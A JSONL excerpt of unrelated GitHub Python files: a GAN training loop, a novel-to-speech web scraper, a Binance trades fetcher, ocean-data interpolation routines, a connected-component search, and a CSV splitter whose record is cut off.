disc_loss=disc_loss.numpy().mean())\n\n            if (idx + 1) % (nb_images // batch_size // disp_freq) == 0:\n                noise = np.random.uniform(-1, 1, (25, NOISE_SIZE)).astype(np.float32)\n                gen_images = generator(noise)\n                plt.figure(figsize=(10, 10))\n                for i in range(25):\n                    plt.subplot(5, 5, i + 1)\n                    plt.imshow(gen_images[i])\n                    plt.grid(False)\n                    plt.axis(\"off\")\n                filename = os.path.join(destination, \"Picture-{}-{}.png\".format(epoch, idx))\n                plt.savefig(filename)\n\n            if (idx + 1) % (nb_images // batch_size // save_freq) == 0:\n                checkpoint.save(file_prefix=checkpoint_prefix)\n\n\nif __name__ == \"__main__\":\n    import argparse\n\n    parser = argparse.ArgumentParser(description='Train gan on celebrity faces.')\n    parser.add_argument('--epochs', type=int, default=20)\n    parser.add_argument('--batch-size', type=int, default=50)\n    parser.add_argument('--disp-freq', type=int, default=1)\n    parser.add_argument('--save-freq', type=int, default=2)\n    parser.add_argument('--dest', required=True)\n\n    args = parser.parse_args()\n\n    assert(os.path.isdir(args.dest))\n\n    train_model(nb_epochs=args.epochs, batch_size=args.batch_size, disp_freq=args.disp_freq,\n                save_freq=args.save_freq, destination=args.dest)","repo_name":"jfparis/celebgan","sub_path":"celebagandrop.py","file_name":"celebagandrop.py","file_ext":"py","file_size_in_byte":8431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29628774339","text":"import random\r\nfrom datetime import datetime\r\nimport requests\r\nfrom fake_useragent import UserAgent\r\nfrom bs4 import BeautifulSoup\r\nfrom opencc import OpenCC\r\nimport asyncio\r\nimport edge_tts\r\nimport os\r\nimport re\r\n\r\nua = UserAgent()\r\n\r\nnow = datetime.now()\r\n\r\nseed = now.timestamp()\r\nrandom.seed(seed)\r\n\r\nconverter = OpenCC('s2t')\r\n\r\n\r\nheaders = {\r\n    \"Accept-Encoding\": \"gzip, deflate, br\",\r\n    \"Accept-Language\": \"zh-TW,zh;q=0.9\",\r\n    \"Sec-Fetch-Dest\": \"document\",\r\n    \"Sec-Fetch-Mode\": \"navigate\",\r\n    \"Sec-Fetch-Site\": \"none\",\r\n    \"Upgrade-Insecure-Requests\": \"1\",\r\n    \"User-Agent\": ua.random,\r\n    \"Connection\": \"keep-alive\",\r\n    \"Host\": \"www.uukanshu.com\",\r\n    \"Referer\": \"https://www.uukanshu.com/\",\r\n}\r\n\r\n\r\ndef get_page(url):\r\n    response = requests.get(url, headers=headers)\r\n    return response.text\r\n\r\n\r\ndef page_data(soup):\r\n    page = get_page(url)\r\n    soup = BeautifulSoup(page, 'html.parser')\r\n\r\n    timu = converter.convert(soup.find(id=\"timu\").text)\r\n    content = converter.convert(soup.find('div', id='contentbox').text)\r\n\r\n    next_link = 'https://www.uukanshu.com' + soup.find('a', id='next')['href']\r\n\r\n    content = re.sub(r'\\[a-z\\]', '', content)\r\n\r\n    replace_list = [' ', ',', '\\n', '\\r', '\\u3000', '“', '”',\r\n                    '未完待續', '*', '未完待續', '.', '.', '�', 'uanu', 'UU看書']\r\n\r\n    for i in replace_list:\r\n        content = content.replace(i, '\\r')\r\n\r\n    data_list = content.split('\\r')\r\n    data_list = [x for x in data_list if x != '']\r\n\r\n    return timu, next_link, data_list\r\n\r\n\r\ndef generate_audio_name(title):\r\n    if '章' in title:\r\n        title = int(title.split('第')[1].split('章')[0])\r\n    elif '節' in title:\r\n        title = int(title.split('第')[1].split('節')[0])\r\n    return title\r\n\r\n\r\nasync def main(output, text):\r\n    voice = \"zh-CN-YunyangNeural\"\r\n    tts = edge_tts.Communicate(text, voice)\r\n    await tts.save(output)\r\n\r\nif __name__ == '__main__':\r\n\r\n    text_folder = './text_file'\r\n\r\n    url = input('Please enter the URL of your starting UU novel page:')\r\n\r\n    if url != '':\r\n\r\n        copy_page = int(input('How many pages do you want to copy: '))\r\n        zip_file = input(\r\n            'Whether to compress multiple-page document into a single audio file? (y/n):')\r\n\r\n        if zip_file == 'y':\r\n\r\n            zip_page = int(input('How many pages do you want to compress:'))\r\n\r\n            if isinstance(copy_page, int):\r\n                if not os.path.exists(text_folder):\r\n                    os.makedirs(text_folder)\r\n                print(f'Start copy: {now.strftime(\"%H:%M:%S\")}')\r\n\r\n                first_title = ''\r\n                last_title = ''\r\n                first_url = ''\r\n                last_url = ''\r\n\r\n                for i in range(copy_page//zip_page):\r\n                    total_text = ''\r\n\r\n                    for k in range(zip_page):\r\n                        title, url, text = page_data(url)\r\n                        text = ''.join(text)\r\n                        total_text += text\r\n                        if k == 0:\r\n                            first_url = url\r\n                            first_title = title\r\n                        last_url = url\r\n                        last_title = title\r\n\r\n                    now = datetime.now()\r\n                    audio_name = f'{first_title}節_{last_title}節.wav'\r\n\r\n                    try:\r\n                        first_title = generate_audio_name(first_title)\r\n                        last_title = generate_audio_name(last_title)\r\n\r\n                        with open('./audio_file/url.txt', 'w', encoding='utf-8') as file:\r\n                            file.write(\r\n                                f'first page:{first_url}\\n last page:{last_url}')\r\n\r\n                        if not os.path.exists(f'./audio_file/第{first_title}節_第{last_title}節.wav'):\r\n                            asyncio.run(\r\n                                main(f'./audio_file/第{first_title}節_第{last_title}節.wav', total_text))\r\n                            pass\r\n\r\n                        print(\r\n                            f\"Copy {first_title}_{last_title} done. Passed time: {str(datetime.now() - now).split('.')[0]}.\")\r\n\r\n                    except IndexError:\r\n                        print('Title format error')\r\n        else:\r\n            if isinstance(copy_page, int):\r\n\r\n                if not os.path.exists(text_folder):\r\n                    os.makedirs(text_folder)\r\n\r\n                print(f'Start copy: {now.strftime(\"%H:%M:%S\")}')\r\n\r\n                for i in range(copy_page):\r\n                    title, url, text = page_data(url)\r\n                    text = ''.join(text)\r\n                    now = datetime.now()\r\n\r\n                    if not os.path.exists(f'./audio_file/{title}.wav'):\r\n                        asyncio.run(main(f'./audio_file/{title}.wav', text))\r\n\r\n                    time_taken = datetime.now() - now\r\n                    print(\r\n                        f'Copy of {title} is done. Time taken: {str(time_taken).split(\".\")[0]}')\r\n\r\n                    with open('./audio_file/Last_url.txt', 'w', encoding='utf-8') as file:\r\n                        file.write(url)\r\n","repo_name":"ZypherLeeTW/Chinese-Novel-Web-Scraper-with-Text-to-Speech","sub_path":"uukanshu_novel_web_crawler.py","file_name":"uukanshu_novel_web_crawler.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17419318956","text":"from decimal import Decimal\nimport typing\nfrom urllib.parse import urljoin\n\nimport pydantic\nfrom pydantic.error_wrappers import ValidationError\nfrom pyrsistent import pmap\nfrom typing_extensions import TypedDict\n\nfrom noobit_markets.base.request import (\n    retry_request,\n    _validate_data,\n)\n\n# Base\nfrom noobit_markets.base import ntypes\nfrom noobit_markets.base.models.result import Result, Err\nfrom noobit_markets.base.models.rest.response import NoobitResponseSymbols, NoobitResponseTrades, T_PublicTradesParsedRes, T_PublicTradesParsedItem\nfrom noobit_markets.base.models.rest.request import NoobitRequestTrades\nfrom noobit_markets.base.models.frozenbase import FrozenBaseModel\n\n# binance\nfrom noobit_markets.exchanges.binance import endpoints\nfrom noobit_markets.exchanges.binance.rest.base import get_result_content_from_req\n\n\n__all__ = (\n    \"get_trades_binance\"\n)\n\n\n# ============================================================\n# BINANCE REQUEST\n# ============================================================\n\n\nclass BinanceRequestTrades(FrozenBaseModel):\n\n    symbol: str\n    limit: pydantic.PositiveInt\n\n\nclass _ParsedReq(TypedDict):\n    symbol: typing.Any\n    limit: typing.Any\n\n\ndef parse_request(\n        valid_request: NoobitRequestTrades,\n        symbol_to_exchange: ntypes.SYMBOL_TO_EXCHANGE\n    ) -> _ParsedReq:\n\n    payload: _ParsedReq = {\n        \"symbol\": symbol_to_exchange(valid_request.symbol),\n        \"limit\": 1000\n    }\n\n    return payload\n\n\n\n\n#============================================================\n# BINANCE RESPONSE\n#============================================================\n\n# SAMPLE RESPONSE\n\n# [\n#   {\n#     \"id\": 28457,\n#     \"price\": \"4.00000100\",\n#     \"qty\": \"12.00000000\",\n#     \"quoteQty\": \"48.000012\",\n#     \"time\": 1499865549590,\n#     \"isBuyerMaker\": true,\n#     \"isBestMatch\": true\n#   }\n# ]\n\n\nclass _SingleTrade(FrozenBaseModel):\n    id: int\n    price: Decimal\n    qty: Decimal\n    quoteQty: Decimal\n    time: int\n    isBuyerMaker: bool\n    isBestMatch: bool\n\n\nclass BinanceResponseTrades(FrozenBaseModel):\n\n    trades: typing.Tuple[_SingleTrade, ...]\n\n\ndef parse_result(\n        result_data: BinanceResponseTrades,\n        symbol: ntypes.SYMBOL\n    ) -> T_PublicTradesParsedRes:\n\n    parsed_trades = [_single_trade(data, symbol) for data in result_data.trades]\n\n    return tuple(parsed_trades)\n\n\ndef _single_trade(\n        data: _SingleTrade,\n        symbol: ntypes.SYMBOL\n    ) -> T_PublicTradesParsedItem:\n\n    parsed: T_PublicTradesParsedItem = {\n        \"symbol\": symbol,\n        \"orderID\": None,\n        \"trdMatchID\": None,\n        # noobit timestamp = ms\n        \"transactTime\": data.time,\n        \"side\": \"BUY\" if data.isBuyerMaker is False else \"SELL\",\n        # binance only lists market order\n        # => trade = limit order lifted from book by market order\n        \"ordType\": \"MARKET\",\n        \"avgPx\": data.price,\n        \"cumQty\": data.quoteQty,\n        \"grossTradeAmt\": data.price * data.quoteQty,\n        \"text\": None\n    }\n\n    return parsed\n\n\n\n\n# ============================================================\n# FETCH\n# ============================================================\n\n\n@retry_request(retries=pydantic.PositiveInt(10), logger=lambda *args: print(\"===xxxxx>>>> : \", *args))\nasync def get_trades_binance(\n        client: ntypes.CLIENT,\n        symbol: ntypes.SYMBOL,\n        symbols_resp: NoobitResponseSymbols,\n        since: typing.Optional[ntypes.TIMESTAMP] = None,\n        # prevent unintentional passing of following args\n        *,\n        logger: typing.Optional[typing.Callable] = None,\n        base_url: pydantic.AnyHttpUrl = endpoints.BINANCE_ENDPOINTS.public.url,\n        endpoint: str = endpoints.BINANCE_ENDPOINTS.public.endpoints.trades,\n    ) -> Result[NoobitResponseTrades, Exception]:\n\n\n    symbol_to_exchange = lambda x : {k: v.exchange_pair for k, v in symbols_resp.asset_pairs.items()}[x]\n    \n    req_url = urljoin(base_url, endpoint)\n    method = \"GET\"\n    headers: typing.Dict = {}\n\n    valid_noobit_req = _validate_data(NoobitRequestTrades,  pmap({\"symbol\": symbol, \"symbols_resp\": symbols_resp, \"since\": since}))\n    if isinstance(valid_noobit_req, Err):\n        return valid_noobit_req\n\n    if logger:\n        logger(f\"Trades- Noobit Request : {valid_noobit_req.value}\")\n\n    parsed_req = parse_request(valid_noobit_req.value, symbol_to_exchange)\n\n    valid_binance_req = _validate_data(BinanceRequestTrades, pmap(parsed_req))\n    if valid_binance_req.is_err():\n        return valid_binance_req\n    \n    if logger:\n        logger(f\"Trades - Parsed Request : {valid_binance_req.value}\")\n\n    result_content = await get_result_content_from_req(client, method, req_url, valid_binance_req.value, headers)\n    if result_content.is_err():\n        return result_content\n    \n    if logger:\n        logger(f\"Trades - Result Content : {result_content.value}\")\n\n    valid_result_content = _validate_data(BinanceResponseTrades, pmap({\"trades\" :result_content.value}))\n    if valid_result_content.is_err():\n        return valid_result_content\n\n    parsed_result = parse_result(valid_result_content.value, symbol)\n\n    valid_parsed_response_data = _validate_data(NoobitResponseTrades, pmap({\"trades\": parsed_result, \"rawJson\": result_content.value, \"exchange\": \"BINANCE\"}))\n    return valid_parsed_response_data\n","repo_name":"maxima-us/noobit-markets","sub_path":"src/noobit_markets/exchanges/binance/rest/public/trades.py","file_name":"trades.py","file_ext":"py","file_size_in_byte":5311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"42488128435","text":"import numpy as np\n\nimport util.math.interpolate\nimport util.math.spherical\n\nimport util.logging\n\n\nclass Time_Periodic_Earth_Interpolator(util.math.interpolate.Periodic_Interpolator):\n\n    def __init__(self, data_points, data_values, t_len, wrap_around_amount=0, number_of_linear_interpolators=1, single_overlapping_amount_linear_interpolators=0, parallel=False):\n        from measurements.constants import EARTH_RADIUS\n\n        util.logging.debug('Initiating time periodic earth interpolator with {} data points, time len {}, wrap around amount {} and {} linear interpolators with single overlapping amount of {}.'.format(len(data_points), t_len, wrap_around_amount, number_of_linear_interpolators, single_overlapping_amount_linear_interpolators))\n\n        # call super constructor\n        self.order = number_of_linear_interpolators\n\n        t_scaling = 2 * EARTH_RADIUS / t_len\n\n        super().__init__(\n            data_points, data_values,\n            point_range_size=(t_len, None, None, None),\n            wrap_around_amount=(wrap_around_amount, 0, 0, 0),\n            scaling_values=(t_scaling, None, None, None),\n            number_of_linear_interpolators=number_of_linear_interpolators,\n            single_overlapping_amount_linear_interpolators=single_overlapping_amount_linear_interpolators,\n            parallel=parallel)\n\n        assert len(self._data_points) == len(self._data_values) == len(self._data_indices)\n\n    def _modify_points(self, points, is_data_points):\n        from measurements.constants import EARTH_RADIUS, MAX_SEA_DEPTH\n\n        points = super()._modify_points(points, is_data_points)\n\n        # if data points, append values for lower and upper bound of depth\n        if self.order > 0 and is_data_points:\n            lower_depth = 0\n            lower_depth_bound = np.min(points[:, 3])\n            upper_depth = MAX_SEA_DEPTH\n            upper_depth_bound = np.max(points[:, 3])\n\n            util.logging.debug('Lower depth is {}, upper depth is {}.'.format(lower_depth, upper_depth))\n\n            assert lower_depth_bound >= lower_depth and upper_depth_bound <= upper_depth\n\n            if lower_depth_bound > lower_depth:\n                lower_depth_bound_indices = np.where(np.isclose(points[:, 3], lower_depth_bound))[0]\n                lower_depth_bound_points = points[lower_depth_bound_indices]\n                lower_depth_bound_points[:, 3] = lower_depth\n                util.logging.debug('{} values appended for lower bound {}.'.format(len(lower_depth_bound_indices), lower_depth))\n            else:\n                lower_depth_bound_indices = np.array([])\n                lower_depth_bound_points = np.array([])\n                util.logging.debug('No values appended for lower bound {}.'.format(lower_depth))\n            if upper_depth_bound < upper_depth:\n                upper_depth_bound_indices = np.where(np.isclose(points[:, 3], lower_depth_bound))[0]\n                upper_depth_bound_points = points[upper_depth_bound_indices]\n                upper_depth_bound_points[:, 3] = upper_depth\n                util.logging.debug('{} values appended for upper bound {}.'.format(len(upper_depth_bound_indices), upper_depth))\n            else:\n                upper_depth_bound_indices = np.array([])\n                upper_depth_bound_points = np.array([])\n                util.logging.debug('No values appended for upper bound {}.'.format(upper_depth))\n\n            indices = np.concatenate((lower_depth_bound_indices, np.arange(len(points)), upper_depth_bound_indices), axis=0)\n            points = np.concatenate((lower_depth_bound_points, points, upper_depth_bound_points), axis=0)\n            self._data_indices = self._data_indices[indices]\n\n        # convert to cartesian\n        points[:, 1:] = util.math.spherical.to_cartesian(points[:, 1:], surface_radius=EARTH_RADIUS)\n\n        return points\n\n\ndef periodic_with_coordinates(data, interpolation_points, lsm_base, scaling_values=None, interpolator_options=None):\n    util.logging.debug('Interpolating periodic data with coordinates for lsm {} with scaling_values {} and interpolator_options {}.'.format(lsm_base, scaling_values, interpolator_options))\n\n    # convert coordinates to map indices\n    data = np.array(data, copy=True)\n    data[:, :-1] = lsm_base.coordinates_to_map_indices(data[:, :-1], discard_year=True, int_indices=False)\n    interpolation_points = lsm_base.coordinates_to_map_indices(interpolation_points, discard_year=True, int_indices=False)\n\n    # interpolating\n    return periodic_with_map_indices(data, interpolation_points, lsm_base, scaling_values=scaling_values, interpolator_options=interpolator_options)\n\n\ndef periodic_with_map_indices(data, interpolation_points, lsm_base, scaling_values=None, interpolator_options=None):\n    util.logging.debug('Interpolating periodic data with map indices for lsm {} with scaling_values {} and interpolator_options {}.'.format(lsm_base, scaling_values, interpolator_options))\n\n    assert data.ndim == 2\n    assert data.shape[1] == 5\n    assert interpolation_points.ndim == 2\n    assert interpolation_points.shape[1] == 4\n\n    # split in points and values\n    data_points = data[:, :-1]\n    data_values = data[:, -1]\n\n    # scaling values\n    if scaling_values is None:\n        scaling_values = (lsm_base.x_dim / lsm_base.t_dim, None, None, None)\n\n    if interpolator_options is None:\n        interpolator_options = (1, 1, 0, 0)\n\n    # prepare wrap_around_amount\n    wrap_around_amount = interpolator_options[0]\n    try:\n        wrap_around_amount = tuple(wrap_around_amount)\n    except TypeError:\n        wrap_around_amount = (wrap_around_amount,)\n    if len(wrap_around_amount) == 1:\n        # use same wrap around for t and x\n        wrap_around_amount = wrap_around_amount * 2\n    if len(wrap_around_amount) == 2:\n        # append wrap around for y and z if missing\n        wrap_around_amount = wrap_around_amount + (0, 0)\n\n    # create interpolator\n    interpolator = util.math.interpolate.Periodic_Interpolator(data_points, data_values, point_range_size=(lsm_base.t_dim, lsm_base.x_dim, lsm_base.y_dim, lsm_base.z_dim), scaling_values=scaling_values, wrap_around_amount=wrap_around_amount, number_of_linear_interpolators=interpolator_options[1], single_overlapping_amount_linear_interpolators=interpolator_options[2], parallel=bool(interpolator_options[3]))\n\n    # interpolating\n    interpolation_data = interpolator.interpolate(interpolation_points)\n    return interpolation_data\n\n\ndef default_scaling_values(sample_lsm):\n    scaling_x = 1\n    scaling_y = sample_lsm.x_dim / (sample_lsm.y_dim * 2)\n    if scaling_y.is_integer():\n        scaling_y = int(scaling_y)\n    scaling_t = sample_lsm.x_dim / (sample_lsm.t_dim * 3)\n    if scaling_t.is_integer():\n        scaling_t = int(scaling_t)\n    scaling_z = int(np.floor(sample_lsm.x_dim / sample_lsm.z_dim))\n    scaling_values = (scaling_t, scaling_x, scaling_y, scaling_z)\n    return scaling_values\n\n\nclass Interpolator_Annual_Periodic:\n\n    def __init__(self, sample_lsm, scaling_values=None):\n        self.sample_lsm = sample_lsm\n        self.scaling_values = scaling_values\n\n    @property\n    def scaling_values(self):\n        return self._scaling_values\n\n    @scaling_values.setter\n    def scaling_values(self, scaling_values):\n        if scaling_values is None:\n            scaling_values = default_scaling_values(self.sample_lsm)\n        self._scaling_values = scaling_values\n\n    def interpolate_data_for_lsm(self, data, lsm, interpolator_options=None):\n        util.logging.debug('Interpolating data for lsm {} with interpolator_options {}.'.format(lsm, interpolator_options))\n\n        sea_indices = lsm.sea_indices\n        sea_coordinates = lsm.map_indices_to_coordinates(sea_indices)\n\n        interpolated_values = periodic_with_coordinates(data, sea_coordinates, self.sample_lsm, scaling_values=self.scaling_values, interpolator_options=interpolator_options)\n        interpolated_data = np.concatenate((sea_indices, interpolated_values[:, np.newaxis]), axis=1)\n        interpolated_map = lsm.insert_index_values_in_map(interpolated_data, no_data_value=np.inf)\n        assert np.all(interpolated_map != np.inf)\n\n        util.math.interpolate.change_dim(interpolated_map, 0, lsm.t_dim)\n        assert interpolated_map.shape == lsm.dim\n\n        return interpolated_map\n\n    def interpolate_data_for_sample_lsm_with_coordinates(self, data, interpolator_options=None):\n        util.logging.debug('Interpolating data with coordinates for lsm {} with interpolator_options {}.'.format(self.sample_lsm, interpolator_options))\n        data = np.array(data, copy=True)\n        data[:, :-1] = self.sample_lsm.coordinates_to_map_indices(data[:, :-1], discard_year=True, int_indices=False)\n        return self.interpolate_data_for_sample_lsm_with_map_indices(data, self.sample_lsm, interpolator_options=interpolator_options)\n\n    def interpolate_data_for_sample_lsm_with_map_indices(self, data, interpolator_options=None):\n        util.logging.debug('Interpolating data with map indices for lsm {} with interpolator_options {}.'.format(self.sample_lsm, interpolator_options))\n\n        sea_indices = self.sample_lsm.sea_indices\n\n        interpolated_values = periodic_with_map_indices(data, sea_indices, self.sample_lsm, scaling_values=self.scaling_values, interpolator_options=interpolator_options)\n        interpolated_data = np.concatenate((sea_indices, interpolated_values[:, np.newaxis]), axis=1)\n\n        interpolated_map = self.sample_lsm.insert_index_values_in_map(interpolated_data, no_data_value=np.inf)\n        assert np.all(interpolated_map != np.inf)\n        util.math.interpolate.change_dim(interpolated_map, 0, self.sample_lsm.t_dim)\n        assert interpolated_map.shape == self.sample_lsm.dim\n\n        return interpolated_map\n\n    def interpolate_data_for_points_from_interpolated_lsm_data(self, interpolated_lsm_data, interpolation_points):\n        util.logging.debug('Interpolationg data for points from interpolated data for lsm {}.'.format(self.sample_lsm))\n\n        # get interpolated points and values\n        interpolated_lsm_data_mask = ~np.isnan(interpolated_lsm_data)\n        interpolated_lsm_values = interpolated_lsm_data[interpolated_lsm_data_mask]\n        interpolated_lsm_indices = np.array(np.where(interpolated_lsm_data_mask)).T\n        interpolated_lsm_points = self.sample_lsm.map_indices_to_coordinates(interpolated_lsm_indices)\n        interpolated_lsm_points_and_values = np.concatenate([interpolated_lsm_points, interpolated_lsm_values[:, np.newaxis]], axis=1)\n\n        # prepare interpolation points: convert to (rounded) int map indices -> convert to coordinates\n        interpolation_points_map_indices = self.sample_lsm.coordinates_to_map_indices(interpolation_points, discard_year=True, int_indices=True)\n        interpolation_points = self.sample_lsm.map_indices_to_coordinates(interpolation_points_map_indices)\n\n        # interpolate for points\n        interpolated_points_data = periodic_with_coordinates(\n            interpolated_lsm_points_and_values, interpolation_points, self.sample_lsm,\n            scaling_values=self.scaling_values, interpolator_options=(2 / min([self.sample_lsm.t_dim, self.sample_lsm.x_dim]), 0, 0, 0))\n\n        # return\n        assert np.all(np.isfinite(interpolated_points_data))\n        return interpolated_points_data\n\n    def interpolate_data_for_points(self, data, interpolation_points, interpolator_options=None):\n        util.logging.debug('Interpolationg data for points with interpolator_options {}.'.format(interpolator_options))\n\n        # interpolate for sample lsm\n        interpolated_lsm_data = self.interpolate_data_for_lsm(data, self.sample_lsm, interpolator_options=interpolator_options)\n\n        # interpolate for points\n        interpolated_points_data = self.interpolate_data_for_points_from_interpolated_lsm_data(interpolated_lsm_data, interpolation_points)\n        return interpolated_points_data\n\n        # # get interpolated points and values\n        # interpolated_lsm_data_mask = ~np.isnan(interpolated_lsm_data)\n        # interpolated_lsm_values = interpolated_lsm_data[interpolated_lsm_data_mask]\n        # interpolated_lsm_indices = np.array(np.where(interpolated_lsm_data_mask)).T\n        # interpolated_lsm_points = self.sample_lsm.map_indices_to_coordinates(interpolated_lsm_indices)\n        # interpolated_lsm_points_and_values = np.concatenate([interpolated_lsm_points, interpolated_lsm_values[:,np.newaxis]], axis=1)\n        #\n        # # prepare interpolation points: convert to (rounded) int map indices -> convert to coordinates\n        # interpolation_points_map_indices = self.sample_lsm.coordinates_to_map_indices(interpolation_points, discard_year=True, int_indices=True)\n        # interpolation_points = self.sample_lsm.map_indices_to_coordinates(interpolation_points_map_indices)\n\n        #   # interpolate for points\n        # interpolated_data = periodic_with_coordinates(interpolated_lsm_points_and_values, interpolation_points, self.sample_lsm, scaling_values=self.scaling_values, interpolator_options=(2/min([self.sample_lsm.t_dim,self.sample_lsm.x_dim]),0,0,0))\n        #\n        # # return\n        # assert np.all(np.isfinite(interpolated_data))\n        # return interpolated_data\n","repo_name":"jor-/measurements","sub_path":"measurements/universal/interpolate.py","file_name":"interpolate.py","file_ext":"py","file_size_in_byte":13226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24233578649","text":"########################################################################################################################\n# Algorithm: give for every vertex v the component withe k vertices and sum under T that includes the vertex v         #\n# In every step we find for every v_i in V the all the connected components with sum under T and with n vertices       #\n# (I will refer it as Si_n).                                                                                           #\n#                                                                                                                      #\n# step 1 - for every v_i in V -  Si_1_1 = {v_i} --              only ome component                                     #\n# step 2 - Si_2_j = Si_1 + (v_j reachable from Si_1_1){Sj_1_1} --   may be more then one - delete duplicate components #\n# .                                                                                                                    #\n# .                                                                                                                    #\n# step n - Si_n_j = (l = 1..n-1){Si_l_k + (v_j reachable from Si_l_k){Sj_n-l}                                          #\n########################################################################################################################\n\nimport GraphCreator as gc\nimport networkx as nx\n\n\nclass ConnectedAlgorithm:\n    def __init__(self, edges_file_name, data_file_name, epsilon, connected_size):\n        creator = gc.GraphCreator(edges_file_name, data_file_name, connected_size)\n        self.G = creator.get_graph()\n        self.eps = epsilon\n        self.connected_size = connected_size\n\n    def print_good_components(self):\n        all_comp = {}\n        count = 0\n        for v in self.G:\n            node = self.G.node[v]['data']\n            if node.valid:\n                node_comps = node.get_dict_for_size(self.connected_size)\n                for key, value in node_comps.items():\n                    if key not in all_comp:\n                        count += 1\n                        all_comp[key] = value\n\n        for key, val in all_comp.items():\n            weights_u = []\n            for u in all_comp[key][0]:\n                u = self.G.node[u]['data']\n                weights_u.append(u.colorScore)\n            print(\"component:\\t\" + all_comp[key][0].__str__())\n            print(\"sum:\\t\\t\" + weights_u.__str__() + \" = \" + str(all_comp[key][1])\n                  + \"\\n--------------------------------------------------------------\\n\")\n        print (\"number of components:\\t\" + str(count))\n\n    def get_graph(self):\n        return self.G\n\n    def get_reachable(self, comp):\n        reachable = []\n        for node in comp:\n            # iterate over all reachable and add if its not already in the neighbors/comp_i\n            for node_u in nx.all_neighbors(self.G, node):\n                if self.G.node[node_u]['data'].valid and int(node_u) not in reachable and int(node_u) not in comp:\n                    reachable.append(int(node_u))\n        return reachable\n\n    def get_reachable_comp_list(self, size, reachable):\n        # loop over reachable nodes from some vertex\n        comp_with_u = {}\n        for node_u in reachable:\n            u = self.G.node[node_u]['data']\n            dict_comp_u = u.get_dict_for_size(size)\n            # get components with requested size\n            for key, value in dict_comp_u.items():\n                if key not in comp_with_u:\n                    comp_with_u[key] = value\n        return comp_with_u\n\n    def go(self):\n        # first initialization for k = 1\n        for i in self.G:\n            v = self.G.node[i]['data']\n            if float(v.colorScore) > self.eps or v.test == 0:\n                v.valid = False\n            else:\n                v.add_comp(1, [i], v.colorScore)\n                y = 0\n\n        # first loop for recursive building of the components starting from components of size 1 going up until size = k\n        for main_component_size in range(2, self.connected_size + 1):\n            # print progress\n            progress = (main_component_size-1)*(100 / self.connected_size)\n            print('processing...' + str(int(progress)) + \"%\")\n\n            # second loop iterates over all vertices\n            for vertex in self.G:\n                v = self.G.node[vertex]['data']\n                # valid vertex is a vertex that can be in a CC withe k vertices withe weight under eps\n                if not v.valid:\n                    continue\n                # third loop iterates over a specific vertex list of components under size = t\n                for v_comp_size in range(1, main_component_size):\n                    # main_component_size is the size of the component we need to compute in that iteration for all\n                    # vertices, v_comp_size is the the size of the component we wish to extend\n                    # there for we need the components C_j that hold u and holds the following conditions\n                    # - the size of C_j + curr_iter_size = component_size\n                    # - C_j doesnt share vertices with comp_i\n\n                    dict_comp_v = v.get_dict_for_size(v_comp_size)\n\n                    for key, value in dict_comp_v.items():\n                        comp_i = value[0]\n                        weight_comp_i = value[1]\n                        reachable_comp_size = main_component_size - v_comp_size\n                        # get all reachable nodes\n                        reachable_nodes = self.get_reachable(comp_i)\n                        # get all reachable components\n                        # the return list will contain components followed by the weight\n                        reachable_comp = self.get_reachable_comp_list(reachable_comp_size, reachable_nodes)\n                        for ky, comp in reachable_comp.items():\n                            comp_u = comp[0]\n                            comp_u_weight = comp[1]\n                            if (float(comp_u_weight) + float(weight_comp_i)) > self.eps:\n                                continue\n                            shared = False\n                            for c_node in comp_u:\n                                if comp_i.__contains__(int(c_node)):\n                                    shared = True\n                                    break\n\n                            if not shared:\n                                new_comp = comp_i + comp_u\n                                new_comp_weight = float(weight_comp_i) + float(comp_u_weight)\n                                v.add_comp(main_component_size, new_comp, new_comp_weight)\n\n                # if there is no component of size k that answer the conditions then there is\n                # also no component of size k+1\n                if v.get_len_for_size(main_component_size) == 0:\n                    v.valid = False\n        # print progress\n        print(\"processing...100%\\n\\n--------------------------------------------------------------\")\n\n","repo_name":"kerenco/detecting-anomaly-connected-component","sub_path":"k_connected_component_finder 0 .2/CcAlgorithm.py","file_name":"CcAlgorithm.py","file_ext":"py","file_size_in_byte":7001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38084985711","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 13 17:59:50 2019\r\n\r\n@author: jonslaton\r\n\"\"\"\r\n\r\ndef strip_header(s):\r\n    return s.split(',')[1].strip()\r\n\r\nclass csv_record:\r\n    def __init__(self,rec):\r\n        self.test_system = strip_header(rec[0])\r\n        self.setup_file = strip_header(rec[1])\r\n        self.cal_dir = strip_header(rec[2])\r\n        self.part_num = strip_header(rec[3])\r\n        self.operator = strip_header(rec[4])\r\n        self.station = strip_header(rec[5])\r\n        self.date_of_record = strip_header(rec[6])\r\n        self.start_time = ''.join(strip_header(rec[7]).split(':'))\r\n        self.col_header = rec[8].strip('\\n')\r\n        self.result = rec[9:-1]\r\n        self.name = '--'.join([self.part_num] + self.result[0].split(',')[0:3] + [self.start_time])\r\n        \r\n    def print_to_file(self,fdir):\r\n        import pathlib\r\n        pathlib.Path(fdir + 'Splits').mkdir(exist_ok=True)\r\n        with open( fdir + 'Splits/' + self.name + '.csv' ,'w') as f:\r\n            f.write(self.col_header + '\\n')\r\n            f.writelines(self.result)\r\n        \r\n            \r\n        \r\n\r\n#brief:     A utility function to read csv's into memory.\r\n#param:  fname  A string path to the csv to be read.   \r\n#return:    a   A list containing all lines of the csv.\r\ndef read_test_csv(fname):\r\n    a = []\r\n    with open(fname,'r') as f:\r\n        for line in f.readlines():\r\n            a += [line]\r\n    return a\r\n\r\ndef split_records(all_records):\r\n    a = []\r\n    b = []\r\n    i = 0\r\n    start_pos = []\r\n    while i < len(all_records):\r\n        if (all_records[i][0] == '#'):\r\n            start_pos += [i]\r\n            i+=8\r\n        i+=1\r\n    i=0\r\n    while ( (i+1) < len(start_pos) ):\r\n        a += [all_records[start_pos[i]:start_pos[i+1]]]\r\n        i+=1\r\n    a += [all_records[start_pos[i]:-1]]\r\n    for record in a:\r\n        b += [csv_record(record)]\r\n    return b","repo_name":"jnthn-sltn/PythonScriptsSD","sub_path":"Python 